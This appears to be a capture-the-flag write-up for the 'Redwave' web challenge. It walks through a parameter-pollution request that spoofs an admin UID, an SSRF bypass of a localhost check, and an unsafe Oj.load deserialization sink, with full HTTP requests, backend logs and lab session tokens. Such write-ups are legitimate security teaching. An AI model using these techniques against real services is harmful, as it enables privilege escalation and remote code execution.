Redwave
The Commonwealth of Arodor Maximus has deployed a satellite broadcast system to exert control over their forces. You have successfully infiltrated their internal network. Are you capable of hacking into the broadcasting service and exposing their secret plans?
Redwave is a multi-stage web challenge. The front-end is a Golang (redwave-interface) service that proxies requests to a Ruby on Rails backend (redwave-api). The full chain is: abuse HTTP parameter pollution to spoof an admin UID, then use the admin’s SSRF primitive to reach an internal /user/healthcheck Rails endpoint (bypassing its anti-SSRF check), and finally feed a malicious JSON gadget chain to Oj.load to achieve remote code execution.
Files
Download: web_redwave.zip
Overview
The intended solution path, at a high level:
Register a user, then spoof the UID to the admin’s empty UID on the change-broadcast function using parameter pollution, e.g.
{"UID":"a131f504-d8a0-4d4a-b8d4-30872be47623","username":"test5","category":"Cultural Preservation 071014","uid":""}With admin access you gain an SSRF primitive. You want to call the
/user/healthcheckfunction on the backend, but it has an anti-SSRF measure. This is bypassed by setting theX-Forwarded-Forheader and targeting any127.x.x.xaddress that is not the default127.0.0.1.From there it is a Ruby Oj deserialization RCE; a public gadget chain payload works.
Architecture Recon (Docker)
Dropping into the challenge container shows how the services are laid out. The Rails API (puma) listens on port 3000 and the Golang interface (redwave-interface) is the front-facing service, both managed by supervisord and running as the unprivileged www user.
╰─❯ sudo docker exec -it web_redwave sh
/app/api $ id
uid=1000(www) gid=1000(www) groups=1000(www)
/app/api $ ps auxwwf
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
www 23 0.1 0.0 1664 1024 pts/1 Ss 20:36 0:00 sh
www 30 0.0 0.0 1736 768 pts/1 R+ 20:36 0:00 \_ ps auxwwf
www 1 0.0 0.1 24344 22264 pts/0 Ss+ 19:49 0:00 /usr/bin/python3 /usr/bin/supervisord -c /etc/supervisord.conf
www 7 0.0 0.0 716968 14364 pts/0 Sl 19:49 0:00 /app/interface/redwave-interface
www 8 0.0 0.4 167048 80636 pts/0 Sl 19:49 0:01 puma 5.6.6 (tcp://0.0.0.0:3000) [api]
Reading the environment of each process confirms the two roles. PID 8 is the rails-api and PID 7 is the golang-serv, both running Ruby 3.1.1.
/app/api $ cat /proc/8/environ | tr '\0' '\n'
PATH=/usr/local/bundle/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=c7effa03c633
TERM=xterm
LANG=C.UTF-8
RUBY_MAJOR=3.1
RUBY_VERSION=3.1.1
RUBY_DOWNLOAD_SHA256=7aefaa6b78b076515d272ec59c4616707a54fc9f2391239737d5f10af7a16caa
GEM_HOME=/usr/local/bundle
BUNDLE_SILENCE_ROOT_WARNING=1
BUNDLE_APP_CONFIG=/usr/local/bundle
HOME=/home/www
SUPERVISOR_ENABLED=1
SUPERVISOR_PROCESS_NAME=rails-api
SUPERVISOR_GROUP_NAME=rails-api
/app/api $ cat /proc/7/environ | tr '\0' '\n'
PATH=/usr/local/bundle/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=c7effa03c633
TERM=xterm
LANG=C.UTF-8
RUBY_MAJOR=3.1
RUBY_VERSION=3.1.1
RUBY_DOWNLOAD_SHA256=7aefaa6b78b076515d272ec59c4616707a54fc9f2391239737d5f10af7a16caa
GEM_HOME=/usr/local/bundle
BUNDLE_SILENCE_ROOT_WARNING=1
BUNDLE_APP_CONFIG=/usr/local/bundle
HOME=/home/www
SUPERVISOR_ENABLED=1
SUPERVISOR_PROCESS_NAME=golang-serv
SUPERVISOR_GROUP_NAME=golang-serv
Golang Interface (redwave-interface)
Looking at the Golang front-end’s router shows the public routes. The interesting endpoints are /dashboard (where broadcast channels are changed) and /admin (which is gated behind an admin check).
redwave-interface/internal/server/server.go
func (s *Server) Start() error {
r := mux.NewRouter()
path := filepath.Join(getCwd(), "web/static")
r.PathPrefix("/static/").Handler(http.StripPrefix("/static", http.FileServer(http.Dir(path))))
r.HandleFunc("/", s.handleRoot)
r.HandleFunc("/signin", s.handleSignIn).Methods("GET")
r.HandleFunc("/signin", s.handleSignInPost).Methods("POST")
r.HandleFunc("/signout", s.handleSignOut)
r.HandleFunc("/register", s.handleRegister).Methods("POST")
r.HandleFunc("/dashboard", s.handleBroadcast).Methods("GET")
r.HandleFunc("/dashboard", s.handleBroadcastPost).Methods("POST")
r.HandleFunc("/admin", s.handleAdmin).Methods("GET")
r.HandleFunc("/admin", s.handleAdminPost).Methods("POST")
log.Println("Starting HTTP server at 8080")
return http.ListenAndServe(":8080", r)
http://localhost:1337/
The Golang API client (apiclient.go) shows how the interface talks to the Rails backend. Note that CreateUser generates a random UID server-side, and EditUser / ReadUserBroadcast pass the user’s UID through to Rails via the X-Authorization-User header.
redwave-interface/internal/apiclient/apiclient.go
func (client *ApiClient) FindUser(request FindUserRequest) (models.User, error) {
encodedJson, err := json.Marshal(request)
if err != nil {
return models.User{}, err
}
resp, err := http.Post(
fmt.Sprintf("%s/user/find", client.Url), "application/json", bytes.NewBuffer(encodedJson),
)
if err != nil {
return models.User{}, err
}
// decode json response
var response FindUserResponse
err = json.NewDecoder(resp.Body).Decode(&response)
if err != nil {
return models.User{}, err
}
if response.Success == 0 && response.Message != "" {
return models.User{}, NewApiError(response.Message)
}
return response.User, nil
}
func (client *ApiClient) CreateUser(request CreateUserRequest) (models.User, error) {
request.UID = uuid.NewString()
encodedJson, err := json.Marshal(request)
if err != nil {
return models.User{}, err
}
resp, err := http.Post(
fmt.Sprintf("%s/user/create", client.Url), "application/json", bytes.NewBuffer(encodedJson),
)
if err != nil {
return models.User{}, err
}
// decode json response
var response CreateUserResponse
err = json.NewDecoder(resp.Body).Decode(&response)
if err != nil {
return models.User{}, err
}
if response.Success == 0 && response.Message != "" {
return models.User{}, NewApiError(response.Message)
}
return response.User, nil
}
func (client *ApiClient) ReadUserBroadcast(user models.User) (models.Broadcast, error) {
req, err := http.NewRequest(http.MethodGet, fmt.Sprintf("%s/broadcasts/readone", client.Url), nil)
if err != nil {
return models.Broadcast{}, err
}
req.Header.Set("X-Authorization-User", user.UID)
resp, err := http.DefaultClient.Do(req)
if err != nil {
return models.Broadcast{}, err
}
var response ReadUserBroadcastResponse
err = json.NewDecoder(resp.Body).Decode(&response)
if err != nil {
return models.Broadcast{}, err
}
if response.Success == 0 && response.Message != "" {
return models.Broadcast{}, NewApiError(response.Message)
}
return response.Broadcast, nil
}
func (client *ApiClient) EditUser(requestBody []byte, user models.User) error {
req, err := http.NewRequest(
http.MethodPost, fmt.Sprintf("%s/user/edit", client.Url), bytes.NewBuffer(requestBody),
)
if err != nil {
return err
}
req.Header.Set("Content-Type", "application/json")
req.Header.Set("X-Authorization-User", user.UID)
resp, err := http.DefaultClient.Do(req)
if err != nil {
return err
}
var response EditUserResponse
err = json.NewDecoder(resp.Body).Decode(&response)
if err != nil {
return err
}
if response.Success == 0 && response.Message != "" {
return NewApiError(response.Message)
}
return nil
}
The admin gate itself lives in the Golang interface. A user is considered an admin only if their UID is the empty string — so the goal is to set our own UID to "".
func (s *Server) checkAdmin(w http.ResponseWriter, r *http.Request) {
cookie, err := r.Cookie("session_token")
if err != nil {
http.Redirect(w, r, "/", http.StatusFound)
return
}
user, ok := s.sessions[cookie.Value]
if !ok {
http.Error(w, "Error retrieving user.", http.StatusBadRequest)
return
}
if user.UID != "" {
http.Error(w, "Not an admin!", http.StatusUnauthorized)
return
}
}
Normal Flow: Register and Change Broadcast
Before attacking, it helps to understand the legitimate flow. Registration and sign-in take a simple JSON body, and the dashboard lets you change your broadcast category.
/register
{"username":"test","password":"test"}
/signin
{"username":"test","password":"test"}
/dashboard
{"UID":"616fed54-6db9-43a5-bb1d-58d5c830137e","username":"test","category":"Technological Assistance Requested 190317"}
On the backend, registering inserts a row with a server-generated uid. Note the broadcastChannel is independent from the UID.
(0.4ms) SELECT sqlite_version(*)
ActiveRecord::SchemaMigration Pluck (0.1ms) SELECT "schema_migrations"."version" FROM "schema_migrations" ORDER BY "schema_migrations"."version" ASC
Processing by UsersController#createUser as HTML
Parameters: {"UID"=>"616fed54-6db9-43a5-bb1d-58d5c830137e", "username"=>"test", "password"=>"[FILTERED]", "broadcastChannel"=>"", "user"=>{"username"=>"test", "password"=>"[FILTERED]", "broadcastChannel"=>""}}
User Exists? (0.1ms) SELECT 1 AS one FROM "users" WHERE "users"."username" = ? LIMIT ? [["username", "test"], ["LIMIT", 1]]
↳ app/controllers/users_controller.rb:4:in `createUser'
TRANSACTION (0.1ms) begin transaction
↳ app/controllers/users_controller.rb:8:in `createUser'
User Create (0.3ms) INSERT INTO "users" ("username", "password", "broadcastChannel", "uid", "created_at", "updated_at") VALUES (?, ?, ?, ?, ?, ?) [["username", "test"], ["password", "[FILTERED]"], ["broadcastChannel", "SOS 080316"], ["uid", "616fed54-6db9-43a5-bb1d-58d5c830137e"], ["created_at", "2023-07-23 20:43:28.352286"], ["updated_at", "2023-07-23 20:43:28.352286"]]
↳ app/controllers/users_controller.rb:8:in `createUser'
TRANSACTION (1.1ms) commit transaction
↳ app/controllers/users_controller.rb:8:in `createUser'
Completed 200 OK in 24ms (Views: 0.3ms | ActiveRecord: 2.2ms | Allocations: 12870)
When changing the broadcast channel normally, the request body carries the UID, username and category, and Rails updates the broadcastChannel then re-reads the matching broadcast.
POST /dashboard HTTP/1.1
Host: localhost:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:1337/dashboard
Content-Type: application/json
Origin: http://localhost:1337
Content-Length: 109
Connection: close
Cookie: session=eyJhdXRoIjoiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SjFjMlZ5Ym1GdFpTSTZJblJsYzNRaUxDSmxlSEFpT2pFMk9UQXdPRFkxTkRWOS5VOFZaSV9SdWNCWTYyVW1OSFVZTDNTcUk0d0hiNWhoeHJOei1nMWlRVGRNIn0.ZLxYMQ.011VtlXVW_4wAlj7zU1yvgkprlw; __wzd85872c73336b56575cc9=1690065782|ecb1b92ba805; jwt=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly8xMjcuMC4wLjE6MTMzNy9wcm92aWRlci9qd2tzLmpzb24iLCJ0eXAiOiJKV1QifQ.eyJ1c2VybmFtZSI6ImxlYW4iLCJhY2NvdW50X3R5cGUiOiJtb2RlcmF0b3IifQ.bVYJjp4i9nZvHP9c1SKob1Z0jxYAaa_5poYWOnjdkMCk-K346qTFghL2jrz9v414kzLaZ6UXhobVDaOMQnf6JcYrmNUMc9pferDNDob_bNTqvicJzl_sCHTxv0eQXGqh4a6_ItaF3VWZjIlLC5VW8gZTdSyn2mvi3WpMYt7H2xXpS8-oaenrz2-lLFWwZaQX_kuwXVu1g28H7WNrk4gfW-qOoYpc88E97YVmtGzD8bN0bGwBVNtX3F-azY06F4V4rWomKhmSCsSsv8PeEO_mNE7-soiaQ473SyZ1NBYePtMGjU7Ilv8mtUD29qU6ygshvP_8xpFdrmmAO00btY18kg; session_token=dac30adb-ffd9-476a-93f7-b1a405087b09
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{"UID":"616fed54-6db9-43a5-bb1d-58d5c830137e","username":"test","category":"Medical Expertise Needed 021120"}
The backend log for a normal edit confirms the update touches only broadcastChannel for the matching user, then reads the broadcast for that category.
Started POST "/user/edit" for 127.0.0.1 at 2023-07-23 22:54:13 +0000
Processing by UsersController#updateUser as HTML
Parameters: {"UID"=>"616fed54-6db9-43a5-bb1d-58d5c830137e", "username"=>"test", "category"=>"SOS 080316", "user"=>{"username"=>"test"}}
User Exists? (0.1ms) SELECT 1 AS one FROM "users" WHERE "users"."UID" = ? LIMIT ? [["UID", "616fed54-6db9-43a5-bb1d-58d5c830137e"], ["LIMIT", 1]]
↳ app/controllers/users_controller.rb:29:in `updateUser'
User Load (0.0ms) SELECT "users".* FROM "users" WHERE "users"."UID" = ? AND "users"."username" = ? ORDER BY "users"."id" ASC LIMIT ? [["UID", "616fed54-6db9-43a5-bb1d-58d5c830137e"], ["username", "test"], ["LIMIT", 1]]
↳ app/controllers/users_controller.rb:30:in `updateUser'
{"UID"=>"616fed54-6db9-43a5-bb1d-58d5c830137e", "username"=>"test", "category"=>"SOS 080316"}
Completed 200 OK in 2ms (Views: 0.1ms | ActiveRecord: 0.2ms | Allocations: 1300)
Started GET "/broadcasts/readone" for 127.0.0.1 at 2023-07-23 22:54:13 +0000
Processing by BroadcastController#readUserBroadcastChannel as HTML
User Exists? (0.1ms) SELECT 1 AS one FROM "users" WHERE "users"."UID" = ? LIMIT ? [["UID", "616fed54-6db9-43a5-bb1d-58d5c830137e"], ["LIMIT", 1]]
↳ app/controllers/broadcast_controller.rb:4:in `readUserBroadcastChannel'
User Load (0.1ms) SELECT "users".* FROM "users" WHERE "users"."UID" = ? ORDER BY "users"."id" ASC LIMIT ? [["UID", "616fed54-6db9-43a5-bb1d-58d5c830137e"], ["LIMIT", 1]]
↳ app/controllers/broadcast_controller.rb:5:in `readUserBroadcastChannel'
--------------------------------------------------------
Broadcast Load (0.1ms) SELECT "broadcasts".* FROM "broadcasts" WHERE "broadcasts"."category" = ? ORDER BY RANDOM() LIMIT ? [["category", "SOS 080316"], ["LIMIT", 1]]
↳ app/controllers/broadcast_controller.rb:7:in `readUserBroadcastChannel'
Completed 200 OK in 3ms (Views: 0.2ms | ActiveRecord: 0.3ms | Allocations: 1747)
Started GET "/broadcasts/readone" for 127.0.0.1 at 2023-07-23 22:54:13 +0000
Processing by BroadcastController#readUserBroadcastChannel as HTML
User Exists? (0.1ms) SELECT 1 AS one FROM "users" WHERE "users"."UID" = ? LIMIT ? [["UID", "616fed54-6db9-43a5-bb1d-58d5c830137e"], ["LIMIT", 1]]
↳ app/controllers/broadcast_controller.rb:4:in `readUserBroadcastChannel'
User Load (0.1ms) SELECT "users".* FROM "users" WHERE "users"."UID" = ? ORDER BY "users"."id" ASC LIMIT ? [["UID", "616fed54-6db9-43a5-bb1d-58d5c830137e"], ["LIMIT", 1]]
↳ app/controllers/broadcast_controller.rb:5:in `readUserBroadcastChannel'
--------------------------------------------------------
Broadcast Load (0.1ms) SELECT "broadcasts".* FROM "broadcasts" WHERE "broadcasts"."category" = ? ORDER BY RANDOM() LIMIT ? [["category", "SOS 080316"], ["LIMIT", 1]]
↳ app/controllers/broadcast_controller.rb:7:in `readUserBroadcastChannel'
Completed 200 OK in 3ms (Views: 0.2ms | ActiveRecord: 0.3ms | Allocations: 1745)



Parameter Pollution: Becoming Admin
HTTP parameter pollution occurs when multiple values are supplied for a single parameter in a request, leading to confusion in how the server processes them. The behavior depends on how each layer parses duplicate or conflicting keys — see Exploiting Parameter Pollution in Golang Web Apps.
It can appear in several places:
- Query string — multiple values for the same parameter, e.g.
https://example.com/search?query=keyword1&query=keyword2. - POST body — duplicate keys present in the request body.
- Headers — an HTTP header that allows multiple occurrences of the same field.
Here the trick is to send both an uppercase UID (the legitimate UID Rails matches the user on) and a lowercase uid set to the empty string. Because of how the Golang interface and Rails differ in handling the keys, the user’s stored uid ends up overwritten with "" — which is exactly the admin condition checked by checkAdmin.
The polluted request adds the extra "uid":"" key:
POST /dashboard HTTP/1.1
Host: localhost:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:1337/dashboard
Content-Type: application/json
Origin: http://localhost:1337
Content-Length: 120
Connection: close
Cookie: session=eyJhdXRoIjoiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SjFjMlZ5Ym1GdFpTSTZJblJsYzNRaUxDSmxlSEFpT2pFMk9UQXdPRFkxTkRWOS5VOFZaSV9SdWNCWTYyVW1OSFVZTDNTcUk0d0hiNWhoeHJOei1nMWlRVGRNIn0.ZLxYMQ.011VtlXVW_4wAlj7zU1yvgkprlw; __wzd85872c73336b56575cc9=1690065782|ecb1b92ba805; jwt=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly8xMjcuMC4wLjE6MTMzNy9wcm92aWRlci9qd2tzLmpzb24iLCJ0eXAiOiJKV1QifQ.eyJ1c2VybmFtZSI6ImxlYW4iLCJhY2NvdW50X3R5cGUiOiJtb2RlcmF0b3IifQ.bVYJjp4i9nZvHP9c1SKob1Z0jxYAaa_5poYWOnjdkMCk-K346qTFghL2jrz9v414kzLaZ6UXhobVDaOMQnf6JcYrmNUMc9pferDNDob_bNTqvicJzl_sCHTxv0eQXGqh4a6_ItaF3VWZjIlLC5VW8gZTdSyn2mvi3WpMYt7H2xXpS8-oaenrz2-lLFWwZaQX_kuwXVu1g28H7WNrk4gfW-qOoYpc88E97YVmtGzD8bN0bGwBVNtX3F-azY06F4V4rWomKhmSCsSsv8PeEO_mNE7-soiaQ473SyZ1NBYePtMGjU7Ilv8mtUD29qU6ygshvP_8xpFdrmmAO00btY18kg; session_token=453542e7-664b-451a-b40a-e9e6c38823f0
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{"UID":"616fed54-6db9-43a5-bb1d-58d5c830137e","username":"test","category":"Sustainable Food Solutions 150622","uid":""}
The response: the edit succeeds (302 back to /dashboard), but the subsequent broadcast read now fails with “Unable to find user” because the user’s UID has been blanked out.
HTTP/1.1 302 Found
Location: /dashboard
Date: Sun, 23 Jul 2023 23:36:34 GMT
Content-Length: 0
Connection: close
HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Date: Sun, 23 Jul 2023 23:36:35 GMT
Content-Length: 20
Connection: close
Unable to find user
The backend log confirms what happened. The UPDATE sets broadcastChannel for id=1, and the follow-up readone searches for an empty UID — proof the stored UID is now "", satisfying the admin check.
Started POST "/user/edit" for 127.0.0.1 at 2023-07-23 23:36:34 +0000
Processing by UsersController#updateUser as HTML
Parameters: {"UID"=>"616fed54-6db9-43a5-bb1d-58d5c830137e", "username"=>"test", "category"=>"Sustainable Food Solutions 150622", "uid"=>"", "user"=>{"username"=>"test", "uid"=>""}}
User Exists? (0.1ms) SELECT 1 AS one FROM "users" WHERE "users"."UID" = ? LIMIT ? [["UID", "616fed54-6db9-43a5-bb1d-58d5c830137e"], ["LIMIT", 1]]
↳ app/controllers/users_controller.rb:29:in `updateUser'
User Load (0.1ms) SELECT "users".* FROM "users" WHERE "users"."UID" = ? AND "users"."username" = ? ORDER BY "users"."id" ASC LIMIT ? [["UID", "616fed54-6db9-43a5-bb1d-58d5c830137e"], ["username", "test"], ["LIMIT", 1]]
↳ app/controllers/users_controller.rb:30:in `updateUser'
{"UID"=>"616fed54-6db9-43a5-bb1d-58d5c830137e", "username"=>"test", "category"=>"Sustainable Food Solutions 150622", "uid"=>""}
TRANSACTION (0.0ms) begin transaction
↳ app/controllers/users_controller.rb:33:in `updateUser'
User Update (0.1ms) UPDATE "users" SET "broadcastChannel" = ?, "updated_at" = ? WHERE "users"."id" = ? [["broadcastChannel", "Sustainable Food Solutions 150622"], ["updated_at", "2023-07-23 23:36:34.731034"], ["id", 1]]
↳ app/controllers/users_controller.rb:33:in `updateUser'
TRANSACTION (1.2ms) commit transaction
↳ app/controllers/users_controller.rb:33:in `updateUser'
Completed 200 OK in 6ms (Views: 0.1ms | ActiveRecord: 1.5ms | Allocations: 2922)
2023/07/23 23:36:35 Unable to find user
Started GET "/broadcasts/readone" for 127.0.0.1 at 2023-07-23 23:36:35 +0000
Processing by BroadcastController#readUserBroadcastChannel as HTML
User Exists? (0.1ms) SELECT 1 AS one FROM "users" WHERE "users"."UID" = ? LIMIT ? [["UID", ""], ["LIMIT", 1]]
↳ app/controllers/broadcast_controller.rb:4:in `readUserBroadcastChannel'
Completed 400 Bad Request in 1ms (Views: 0.1ms | ActiveRecord: 0.1ms | Allocations: 592)

For reference, the same edit flow observed with a test3 account (create → find → edit → readone) shows the broadcast category being updated end to end:
Started POST "/user/create" for 127.0.0.1 at 2023-07-23 23:22:06 +0000
Processing by UsersController#createUser as HTML
Parameters: {"UID"=>"f8574402-55a2-4295-bdda-f83f9bf50368", "username"=>"test3", "password"=>"[FILTERED]", "broadcastChannel"=>"", "user"=>{"username"=>"test3", "password"=>"[FILTERED]", "broadcastChannel"=>""}}
User Exists? (0.1ms) SELECT 1 AS one FROM "users" WHERE "users"."username" = ? LIMIT ? [["username", "test3"], ["LIMIT", 1]]
↳ app/controllers/users_controller.rb:4:in `createUser'
TRANSACTION (0.0ms) begin transaction
↳ app/controllers/users_controller.rb:8:in `createUser'
User Create (0.2ms) INSERT INTO "users" ("username", "password", "broadcastChannel", "uid", "created_at", "updated_at") VALUES (?, ?, ?, ?, ?, ?) [["username", "test3"], ["password", "[FILTERED]"], ["broadcastChannel", "SOS 080316"], ["uid", "f8574402-55a2-4295-bdda-f83f9bf50368"], ["created_at", "2023-07-23 23:22:06.194666"], ["updated_at", "2023-07-23 23:22:06.194666"]]
↳ app/controllers/users_controller.rb:8:in `createUser'
TRANSACTION (0.7ms) commit transaction
↳ app/controllers/users_controller.rb:8:in `createUser'
Completed 200 OK in 4ms (Views: 0.2ms | ActiveRecord: 1.0ms | Allocations: 2436)
{f8574402-55a2-4295-bdda-f83f9bf50368 test3 test3 SOS 080316}
Started POST "/user/find" for 127.0.0.1 at 2023-07-23 23:22:59 +0000
Processing by UsersController#readUser as HTML
Parameters: {"username"=>"test3", "user"=>{"username"=>"test3"}}
User Exists? (0.1ms) SELECT 1 AS one FROM "users" WHERE "users"."username" = ? LIMIT ? [["username", "test3"], ["LIMIT", 1]]
↳ app/controllers/users_controller.rb:14:in `readUser'
User Load (0.1ms) SELECT "users".* FROM "users" WHERE "users"."username" = ? LIMIT ? [["username", "test3"], ["LIMIT", 1]]
↳ app/controllers/users_controller.rb:15:in `readUser'
Completed 200 OK in 2ms (Views: 0.2ms | ActiveRecord: 0.2ms | Allocations: 1246)
Started GET "/broadcasts/readone" for 127.0.0.1 at 2023-07-23 23:22:59 +0000
Processing by BroadcastController#readUserBroadcastChannel as HTML
User Exists? (0.1ms) SELECT 1 AS one FROM "users" WHERE "users"."UID" = ? LIMIT ? [["UID", "f8574402-55a2-4295-bdda-f83f9bf50368"], ["LIMIT", 1]]
↳ app/controllers/broadcast_controller.rb:4:in `readUserBroadcastChannel'
User Load (0.1ms) SELECT "users".* FROM "users" WHERE "users"."UID" = ? ORDER BY "users"."id" ASC LIMIT ? [["UID", "f8574402-55a2-4295-bdda-f83f9bf50368"], ["LIMIT", 1]]
↳ app/controllers/broadcast_controller.rb:5:in `readUserBroadcastChannel'
--------------------------------------------------------
Broadcast Load (0.2ms) SELECT "broadcasts".* FROM "broadcasts" WHERE "broadcasts"."category" = ? ORDER BY RANDOM() LIMIT ? [["category", "SOS 080316"], ["LIMIT", 1]]
↳ app/controllers/broadcast_controller.rb:7:in `readUserBroadcastChannel'
Completed 200 OK in 3ms (Views: 0.2ms | ActiveRecord: 0.4ms | Allocations: 1745)
Started POST "/user/edit" for 127.0.0.1 at 2023-07-23 23:23:06 +0000
Processing by UsersController#updateUser as HTML
Parameters: {"UID"=>"f8574402-55a2-4295-bdda-f83f9bf50368", "username"=>"test3", "category"=>"Sustainable Food Solutions 150622", "user"=>{"username"=>"test3"}}
User Exists? (0.1ms) SELECT 1 AS one FROM "users" WHERE "users"."UID" = ? LIMIT ? [["UID", "f8574402-55a2-4295-bdda-f83f9bf50368"], ["LIMIT", 1]]
↳ app/controllers/users_controller.rb:29:in `updateUser'
User Load (0.1ms) SELECT "users".* FROM "users" WHERE "users"."UID" = ? AND "users"."username" = ? ORDER BY "users"."id" ASC LIMIT ? [["UID", "f8574402-55a2-4295-bdda-f83f9bf50368"], ["username", "test3"], ["LIMIT", 1]]
↳ app/controllers/users_controller.rb:30:in `updateUser'
{"UID"=>"f8574402-55a2-4295-bdda-f83f9bf50368", "username"=>"test3", "category"=>"Sustainable Food Solutions 150622"}
TRANSACTION (0.0ms) begin transaction
↳ app/controllers/users_controller.rb:33:in `updateUser'
User Update (0.1ms) UPDATE "users" SET "broadcastChannel" = ?, "updated_at" = ? WHERE "users"."id" = ? [["broadcastChannel", "Sustainable Food Solutions 150622"], ["updated_at", "2023-07-23 23:23:06.790307"], ["id", 4]]
↳ app/controllers/users_controller.rb:33:in `updateUser'
TRANSACTION (0.8ms) commit transaction
↳ app/controllers/users_controller.rb:33:in `updateUser'
Completed 200 OK in 5ms (Views: 0.1ms | ActiveRecord: 1.2ms | Allocations: 2918)
Started GET "/broadcasts/readone" for 127.0.0.1 at 2023-07-23 23:23:06 +0000
Processing by BroadcastController#readUserBroadcastChannel as HTML
User Exists? (0.2ms) SELECT 1 AS one FROM "users" WHERE "users"."UID" = ? LIMIT ? [["UID", "f8574402-55a2-4295-bdda-f83f9bf50368"], ["LIMIT", 1]]
↳ app/controllers/broadcast_controller.rb:4:in `readUserBroadcastChannel'
User Load (0.1ms) SELECT "users".* FROM "users" WHERE "users"."UID" = ? ORDER BY "users"."id" ASC LIMIT ? [["UID", "f8574402-55a2-4295-bdda-f83f9bf50368"], ["LIMIT", 1]]
↳ app/controllers/broadcast_controller.rb:5:in `readUserBroadcastChannel'
--------------------------------------------------------
Broadcast Load (0.4ms) SELECT "broadcasts".* FROM "broadcasts" WHERE "broadcasts"."category" = ? ORDER BY RANDOM() LIMIT ? [["category", "Sustainable Food Solutions 150622"], ["LIMIT", 1]]
↳ app/controllers/broadcast_controller.rb:7:in `readUserBroadcastChannel'
Completed 200 OK in 5ms (Views: 0.2ms | ActiveRecord: 0.7ms | Allocations: 1748)
Started GET "/broadcasts/readone" for 127.0.0.1 at 2023-07-23 23:23:06 +0000
Processing by BroadcastController#readUserBroadcastChannel as HTML
User Exists? (0.1ms) SELECT 1 AS one FROM "users" WHERE "users"."UID" = ? LIMIT ? [["UID", "f8574402-55a2-4295-bdda-f83f9bf50368"], ["LIMIT", 1]]
↳ app/controllers/broadcast_controller.rb:4:in `readUserBroadcastChannel'
User Load (0.1ms) SELECT "users".* FROM "users" WHERE "users"."UID" = ? ORDER BY "users"."id" ASC LIMIT ? [["UID", "f8574402-55a2-4295-bdda-f83f9bf50368"], ["LIMIT", 1]]
↳ app/controllers/broadcast_controller.rb:5:in `readUserBroadcastChannel'
--------------------------------------------------------
Broadcast Load (0.3ms) SELECT "broadcasts".* FROM "broadcasts" WHERE "broadcasts"."category" = ? ORDER BY RANDOM() LIMIT ? [["category", "Sustainable Food Solutions 150622"], ["LIMIT", 1]]
↳ app/controllers/broadcast_controller.rb:7:in `readUserBroadcastChannel'
Completed 200 OK in 5ms (Views: 0.2ms | ActiveRecord: 0.4ms | Allocations: 1747)
SSRF to the Rails Backend (redwave-api)
Now an admin, we gain access to /admin, which proxies a request to an arbitrary URL — an SSRF primitive. The target is the internal Rails /user/healthcheck endpoint, which is registered in the API routes:
redwave-api/config/routes.rb
Rails.application.routes.draw do
post "/user/healthcheck", to: "users#healthcheck"
post "/user/create", to: "users#createUser"
post "/user/find", to: "users#readUser"
post "/user/edit", to: "users#updateUser"
get "/broadcasts/readone", to: "broadcast#readUserBroadcastChannel"
end
The Rails UsersController exposes CRUD plus a health check. The notable methods:
- createUser — parses JSON from the request body and creates a user, rejecting duplicate usernames.
- readUser — looks up a user by username from JSON in the body.
- updateUser — reads the
X-Authorization-Userheader for the requester’s UID, parses the body, and updates the user’sbroadcastChannelfromjson_user["category"]if the UID matches. - healthcheck — a “health check” that guards against SSRF by checking
request.ipagainst ananti_ssrflist (localhost /0.0.0.0), then loads complex class definitions via the Oj gem’sloadmethod on the request body.
The healthcheck is the dangerous one. Probing the API directly confirms it is reachable on port 3000:
curl localhost:3000/broadcasts/readone
{"success":0, "message":"Unable to find user"}
Known weaknesses
Reviewing the Rails code surfaces several issues, the load-bearing one being unsafe deserialization in healthcheck. Others noted along the way:
- SQL injection risk in
createUser/readUser: input fromJSON.parse(request.body.read)is used without validation or sanitization. - No password hashing:
req_body["password"]is stored directly rather than hashed with something like bcrypt. - No input validation on request bodies, enabling injection or unexpected behavior.
Additional weaknesses identified:
In some error responses, the code returns detailed error messages, which can potentially disclose sensitive information about the application's internals to attackers.
Solution: Use generic error messages in production mode and log detailed error messages for debugging purposes only.
Insecure Direct Object References (IDOR) in updateUser:
The code uses UID from the request header to identify the user being updated. This can lead to IDOR vulnerabilities if the UID is predictable or not properly validated.
Solution: Ensure that the requesting user has proper authorization to update the specified user, and avoid using easily guessable identifiers.
Lack of Authentication and Authorization:
The code does not include any authentication mechanisms to verify the identity of the users making requests, and there's no explicit authorization check to determine if users have the necessary permissions to perform specific actions.
Solution: Implement proper authentication (e.g., JWT, OAuth) and authorization mechanisms to control access to the user management endpoints.
Ruby Oj Deserialization RCE
The healthcheck method is the crux. Its anti-SSRF check resolves request.ip and compares against ["127.0.0.1", "::1", "0.0.0.0"], then calls Oj.load(request.body.read) on attacker-controlled JSON. Snyk flags this exact pattern:
redwave-api/app/controllers/users_controller.rb
def healthcheck
requester_ips = Socket.getaddrinfo(request.ip, "http", nil)
anti_ssrf = ["127.0.0.1", "::1", "0.0.0.0"]
for ip in requester_ips do
if (ip & anti_ssrf).any?
render json: '{"success":0, "message":"Bad Request"}'
return
end
end
# Load complex class definitions
Oj.load(request.body.read)
render json: '{"success":1, "message":"Bad Request"}'
end
The relevant versions, from the Gemfile:
From application / Gemfile:
ruby "3.1.1"
gem "rails", "7.0.2.3"
Ruby version:ruby 3.1.1p18 (2022-02-18 revision 53f5fc4236) [x86_64-linux-musl]
Rails version: 7.0.2.3
